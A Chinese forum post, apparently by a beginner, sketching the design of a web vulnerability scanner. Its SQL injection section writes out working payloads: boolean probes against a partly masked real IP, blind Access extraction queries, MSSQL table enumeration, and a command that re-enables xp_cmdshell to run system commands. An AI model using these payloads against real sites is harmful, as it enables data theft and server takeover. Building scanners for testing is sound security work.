网站检测工具设想
作者:ssLong QQ:253651745
由于种种原因需要写一个网站监测工具,但是我是一个垃圾中的垃圾,只能摸着石头过河,硬着头皮往前走,所以,想总结一下最近工作,其实应该说是所学,希望各位高人指教、批评(高人勿浪费时间)!
网站监测是一项很复杂的过程,请教谁都会说,每个网站各不相同,从编程语言asp、jsp、php、aspx等 到网站的整体架构 及设计都可能千差万别,因此对网站的监测存在很大的难度,可能最万能的方法就是手工,但是很多时候都是手工+工具、工具就是一段执行固定代码的死程序,很难令人满意,但是其可以重复快速做有规律的事情,却是一大优点,但是人有智慧能思考,这样双方互相弥补事半功倍。仅是菜鸟的想法。
做一件事情,首先应该咨询别人的意思,我觉得这也是一个很好的习惯。但是当他人知道我要写这样的东西,一直反对票,砸的我喘不过气来,呵呵,理由很简单,现在流行的工具很多,功能很强大,常见的都漏洞都是扫描范围、很是不错,自己写就是做无用功,但是没有办法,这个是任务,没有选择的余地,不是我死犟^_^.
但是还是有些人,提供了一些个人观点和供我参考的工具,在此深深鞠上一弓表示真诚的感谢,能在自己力所能及的情况下,帮助像我这样需要帮助的人,何乐而不为呢?
这样我就开始了我的”开发之旅“!
首先就是整理思路,我想像正规软件开发软件的程序走,虽然我写的可能仅是程序,或者就是代码,呵呵 暂且不去管它。首先想到的自然是需求了,其实老师的需求很简单,网络检测工具。因此,略过此篇!我就是需求者兼开发者。
需求可以没有,总体设计总应该有吧!没有什么说的没做过,不知道怎么做,就是大刀阔斧,卡卡卡几大块,就完事!
一、 用户交互界面 :主要功能,获得用户输入信息,作为程序运行的参数,然后将程序运行的结果,显示给用户。
二、 程序部分:主要完成各种检测功能。
三、 数据库部分:保存检测的中间结果,并且保存最终检测的有用信息。
(唉,可能网站弄多了,怎么有点像网站开发呢,不管了继续)
用户交互界面:
主界面:输入待检测的网址、显示检测的结果
注入攻击界面:主要功能,提供一个url网站,判断是否可以注入,可注入之后显示猜到的表名、字段名、和其中的内容
后台检测界面:这个界面主要是通过猜测的方法来获得网站的后台登陆页
设置界面:主要是设置扫描过程中用的一些信息
程序部分:大体划分
初始化模块:接收用户输入网址、清空扫描过程中保存临时url的数据表
HTTP操作模块:对提供的url可以获得该页的源代码,返回状态吗,判断请求是否成功,同时获得源代码的长度等操作。
爬行模块: 对一个url的源代码进行分析,提取出里面的url,并且判断是否有输入框(以便进行XSS判断)
数据库操作模块:主要负责所有的与数据库打交道的内容,如读取、插入、更新、删除等等。
检测模块:主要功能,对一个url或者url的源代码,进行sql注入检测、xss检测、目录浏览检测、暴库检测(仅判断源码中是否有mdb路径 呵呵 见笑了)、后台页检测(猜测+源代码检测)、上传文件检测(主要是利用http 的写入权限 使用put方法上传 很少见)。
结果显示模块:主要负责对检测结果进行分析,找出其中的有响应漏洞的url,并将它们分别显示在界面和保存到数据库其他表中。
功能关系:程序运行后,显示主界面,用户输入待检测的网站,开始检测,主流程调用初始化模块,清空数据库相应表,开启爬行模块,开始爬行网站,将结果保存到数据库中。
当爬行线程运行后,启动sql检测和xss检测线程,从数据库中读url,进行响应检测。同时可以启动猜测url线程,因为此线程并不影响其他线程。在爬行网站的时候,需要获取url源代码,因此,在爬行线程中,将源代码作为参数开启 线程完成暴库、后台检测、目录浏览检测等与源代码相关的检测,尽可能减少请求源码的次数,增加效率,减少时间。
当所有线程都结束之后,调用结果处理模块,分析扫描结果进行存储和显示。
详细设计
1、 界面不去说了,想怎么弄就怎么弄了,怎么好看怎么方便就怎么弄
2、 http操作也简单,主要使用httpclient开发包实现的,但是请求源码时经常有乱码 找了很多方法,好像好了,java的编码总是出现乱码,真是头疼。
3、 爬行模块,也是很简单,主要使用htmlparser来做的,主要得到超级链接中的url、和判断是否有文本输入框。url主要为了继续爬行,获得更多url,文本框的地方可能没有过滤产生xss,因此需要判断。获得url后来做的时候才发现真的是很复杂,htmlparser只能得到一个url,但是这个里面的信息,同样分析起来让人头疼,呵呵,什么都头疼在编程的世界里。我的思路:首先判断是否是http://开头,是说明是一个决定路径,然后判断是否包含.html、.htm、.asp、.aspx、.jsp、.php、.shtml、可能还拉了一些,但是思想就是判断是否是网页的链接,有时可能是文件的链接 如doc/pdf等,这些文件对于网站检测无用,因此去掉,本程序借用爬虫思想,并不是完全的爬虫。如果不是以http://开头 则要判断是否是js脚本dopostback 和\”开头(\”开头主要是在其他变量中存在的url),如果是 去掉,然后,到这里就是相对路径了 同样需要判断是否是需要的文件 还是判断一下是否是.html、.htm、.asp、.aspx、.jsp、.php、.shtml、等页,如果是 继续后,判断是否以/、.. 开头等等 因为它们需要进行回溯处理,很是麻烦,不说了 当然还有我没有想到的地方,因为url的路径太千奇百怪了。这样url获得之后 直接存入数据库 完成爬行功能。
4、 检测模块是重中之重,
主要是sql注入:这个比较古老的问题了,但是还是经常能找到,但是写成工具还真麻烦,现在也没弄明白 真是佩服那些高人写的工具。
首先判断是否有注入点,这个使用了经典的三步走战略,
http://202.107.127.##:8080/news.asp?id=504 ‘
http://202.107.127.##:8080/news.asp?id=504 and 1=1
http://202.107.127.##:8080/news.asp?id=504 and 1=2
但是手动很容易看出来,正常与异常,但是程序怎么来判断这个结果呢?首先想到的自然是通过http返回的状态码,这个应该是正确的思路,但是问题总是接踵而至,让人应接不暇呀。有些网站输入1=2时状态码是正常的200但是 信息部分没有 我们用眼睛很容易看出来,程序怎么分析,想了很久,终于想到了一种方法,不知道是否可行,正在尝试中,呵呵,希望可行,可是原创,也许别人想到了,或者有更好的,但是我笨刚想到没办法,但是也要安慰一下自我,笑一笑十年少呀。就是眼睛是通过信息的有无来判断是否正常的,那么我的程序也可以利用此方法来判断,但是我不能一个字符一个字符的去比较,只能模糊了,那么就是利用源码的长度了,信息一般都很多,我就设定源码长度差值在一个很小的数范围内是正常 ,程序中写的是15 ,当差值较大时,认为异常,将实验检查基本上与手动检查相似。现在才有点明白程序就是实现人的思想,一直在模仿从未超越(也许错了)。这样检查功能就完成了,开启线程,从数据库表中取得所有带参数的url就可以进行检查了。
判断数据库类型,这个也是很关键的,不同的数据库使用的方法也相同,我也是用常规方法,使用
http://202.107.127.##:8080/news.asp?id=504 and user>0 根据返回值来判断是什么数据库,主要是Access、MSSQL、MySQL(不会写)
Access数据库
这个数据库提供的功能太少,我知道的方法只有猜测,因此就是按猜的思想来实现了,首先猜测表,使用的语句
url and exists(select * from user) 这条猜测是否存在user表 当然有自己的待猜库 返回的页面正常就说明猜对了,有此表
猜到表之后猜字段 使用语句 (假设已猜到 user表)
url and (select count(待猜字段名) from user)>=0
接着猜字段长度
url and (select top 1 len(username) from user)=?
猜字段的每一位
and (select top 1 asc(mid(password,n,1)) from user)=? (猜字段第n位的ASCII码是否是?)
依次可以得到所有位
但是到目前为止 我的程序只能得到一条记录,当猜测下条记录时因为使用了top 1因此无法猜到,想到使用条件语句 not in () 过滤掉已猜到的记录,但是由于不知道各个字段的类型还是很麻烦,不知道这个问题怎么解决。同时还有一个中文怎么猜的问题还没有解决。
MSSQL数据库有很多可以利用的内置方法功能很强大,(对于网站危害也大),但是利用工作来做去很麻烦,不好实现,所以主要实现了几个简单的。直接贴代码注释了不写了 太累了
一、判断xp_cmdshell是否可执行 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 正常则可以
恢复xp_cmdshell扩展存储的命令:http://www.test.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
通过xp_cmdshell执行cmd命令(创建用户,提升用户权限 开telnet 开3389等等功能)
还可以判断其他存储过程
二、获得所有数据库 and db_name()>0 获得当前数据库 and db_name(n)>0 获得第n个数据库
获得当前数据库下的所有表名and (select top 1 name from (Select top [1] id,name from sysobjects where xtype=char(85)) T order by id desc)>1
获得某个数据表下的所有字段 and (select top 1 col_name(object_id('NB_IP'),2) from sysobjects)>1
获得字段的内容 and (select top 1 Addname from CP_Content where Addname not in ('wlb','zgfxwlb') )>1
Mysql数据库不会 就不丢人现眼了,留着高人指教吧
SQL注入就写到这里,主要能检测的主要是asp和aspx,但是只检测成功过asp的,还有一个需要主要的 就是编码,否则有些网站对url进行了过滤就无能为力了。
后台检测:主要是判断源代码中是否有 type=password来判断的、和使用常见后台进行猜测
目录浏览:主要判断网站源码中是否有一些关键字来判断的
数据库下载:同样对源代码进行关键字判断
Xss:还在设想中 主要困难,有验证码,输入信息有验证功能,程序很难都突破。
结果处理,主要是根据数据库中结果信息进行处理,根据检测项进行分类,将有用信息保存到数据库其他表中长久保存(^_^).以便以后…
数据库设计就不写了,能达到要求就行。
基本上大体功能设计完成。开始coding、发现这个过程很难结束
真心希望各位高人批评指教。QQ:253651745 也希望想做web扫描工具的一起探讨...互相学习,谢谢,耽误了你宝贵时间!
[课程]Android-CTF解题方法汇总!